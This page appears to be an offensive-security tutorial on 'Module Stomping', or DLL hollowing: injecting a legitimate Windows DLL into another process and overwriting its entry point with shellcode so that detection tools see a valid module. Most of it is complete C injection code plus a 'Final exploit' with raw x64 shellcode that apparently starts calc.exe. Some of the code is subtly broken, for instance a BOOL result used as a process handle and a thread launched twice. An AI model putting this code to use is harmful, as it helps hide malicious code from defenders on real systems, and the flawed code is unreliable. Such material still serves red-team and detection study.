Module Stomping

Table of content

Overview

Inject a legit DLL and stomp its base address to launch a malicious shellcode

Module Stomping also knows as DLL Hollowing is another technique used to inject shellcode in memory. It can also be used to inject full DLL. However, the injected shellcode will appear to be injected as a valid standard DLL.

Indeed, when a shellcode is injected in memory with a simple VirtualAllocEx and WriteProcessMemory it will appear as loaded from nowhere in ProcessHacker or ProcessExplorer:

Shellcode source

The Module Stomping technique aims to load the shellcode with a valid legit location such as amsi.dll.

This technique avoids the use of RWX memory page allocation in the target process. Moreover, the shellcode is loaded as a valid Windows DLL so detection system will not see any weird loading location. Finally, the remote thread launched is associated to a legit Windows module.

Hands on

  1. Inject some standard Windows DLL such as amsi.dll or advapi.dll
  2. Overwrite the loaded DLL's entry point address with the shellcode one
  3. Starts a new thread at the loaded DLL's entry point

Inject the DLL

The DLL can be injected with the following code.

The target process is opened using OpenProcess. Then the DLL path is injected in the process memory through VirtualAllocEx and WriteProcessMemory.

Finally, the DLL is loaded in the process memory through the use of LoadLibrary in a brand new thread.

#include <windows.h>
#include <stdio.h>

BOOL injectDLL(char *moduleToInject, DWORD processPID) {
    // open the target process
    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processPID);

    // allocate the memory page to inject the DLL path
    void* remoteBuffer = VirtualAllocEx(processHandle, NULL, strlen(moduleToInject) * sizeof(char), MEM_COMMIT, PAGE_READWRITE);
    if (!remoteBuffer) {
        return FALSE;
    }

    // inject the dll name
    BOOL status = WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, strlen(moduleToInject) * sizeof(char), NULL);
    if (!status) {
        return FALSE;
    }

    // load the dll with LoadLibraryW
    HMODULE kernel32 = GetModuleHandleA("Kernel32.dll");
    if (!kernel32) {
        return FALSE;
    }
    PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(kernel32, "LoadLibraryA");
    if (!threadRoutine) {
        return FALSE;
    }
    HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
    if (!dllThread) {
        return FALSE;
    }
    WaitForSingleObject(dllThread, 1000);
    return TRUE;
}

int main()
{
    DWORD processPID = 30436;
    char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
    injectDLL(moduleToInject, processPID);
    return 0;
}

Find the DLL load address

In order to retrieve the DLL load address, it is possible to enumerate the process loaded modules through EnumProcessModules.

Then, each modules base address is resolved using GetModuleBaseNameA.

DWORD64 getDLLBaseAddress(HANDLE processHandle, char *dllName) {
    HMODULE modules[1024];
    SIZE_T modulesSize = sizeof(modules);
    DWORD modulesSizeNeeded = 0;
    EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
    SIZE_T modulesCount = modulesSizeNeeded / sizeof(HMODULE);
    for (size_t i = 0; i < modulesCount; i++)
    {
        HMODULE remoteModule = modules[i];
        CHAR remoteModuleName[128];
        GetModuleBaseNameA(
            processHandle, 
            remoteModule, 
            remoteModuleName, 
            sizeof(remoteModuleName)
        );
        if (_stricmp(remoteModuleName, dllName) == 0) {
            return modules[i];
        }
    }
    return NULL;
}

Find the DLL entrypoint address

The DLL entrypoint address can be found in the DLL header. Thus, the DLL header is retrieved through ReadProcessMemory and the DLL base address found before. Then, the value read is casted into IMAGE_DOS_HEADER to access to the IMAGE_NT_HEADERS and finally the OptionalHeader.AddressOfEntryPoint which is the DLL entrypoint RVA.

DWORD64 getDLLEntryPointAddress(HANDLE processHandle, DWORD64 baseAddress) {
    void* buffer = calloc(0x1000, sizeof(char));
    if (!buffer) {
        return NULL;
    }
    DWORD bufferSize = 0x1000;
    ReadProcessMemory(processHandle, (PVOID)baseAddress, buffer, bufferSize, NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)buffer + dosHeader->e_lfanew);
    return ntHeader->OptionalHeader.AddressOfEntryPoint + baseAddress;

}

Write and launch the shellcode

The shellcode is written at the DLL entry point address with WriteProcessMemory and a thread is relaunched:

SIZE_T writeShellcode(
    HANDLE processHandle, 
    DWORD64 entrypointAddress, 
    unsigned char* shellcode, 
    SIZE_T shellcodeLen) {

    SIZE_T writtenBytes;
    WriteProcessMemory(
        processHandle, 
        (PVOID)entrypointAddress, 
        (LPCVOID)shellcode, 
        shellcodeLen, 
        &writtenBytes);
    CreateRemoteThread(
        processHandle, 
        NULL, 
        0, 
        (PTHREAD_START_ROUTINE)entrypointAddress,
        NULL, 
        0,
        NULL
    );
    return writtenBytes;
}

Final exploit

int main()
{
    unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x43\x3a\x5c"
        "\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33"
        "\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    DWORD processPID = 21204;
    char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
    HANDLE processHandle = injectDLL(moduleToInject, processPID);
    if (!processHandle) {
        printf("[x] Cannot load library\n");
        return -1;
    }

    DWORD64 baseAddress = getDLLBaseAddress(processHandle, "amsi.dll");
    if (!baseAddress) {
        printf("[x] Cannot retrieve DLL base address\n");
        return -1;
    }
    printf("[+] DLL load at : 0x%llX\n", baseAddress);

    DWORD64 entrypointAddress = getDLLEntryPointAddress(processHandle, baseAddress);
    if (!entrypointAddress) {
        printf("[x] Cannot retrieve the entrypoint address\n");
        return -1;
    }
    printf("[+] DLL entrypoint at : 0x%llX\n", entrypointAddress);

    SIZE_T writtenBytes = writeShellcode(processHandle, entrypointAddress, buf, sizeof(buf));
    printf("[+] %lld bytes written\n", writtenBytes);
    CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)entrypointAddress, NULL, 0, NULL);

    return 0;
}

It is somewhat interesting to perform a self-injection instead of injecting in another process. Indeed, performing a self-injection avoid the use of CreateRemotThread.

If a self-injection is performed, the shellcode can be launched with the following line:

((void(*)())entrypointAddress)();

results matching ""

    No results matching ""

    results matching ""

      No results matching ""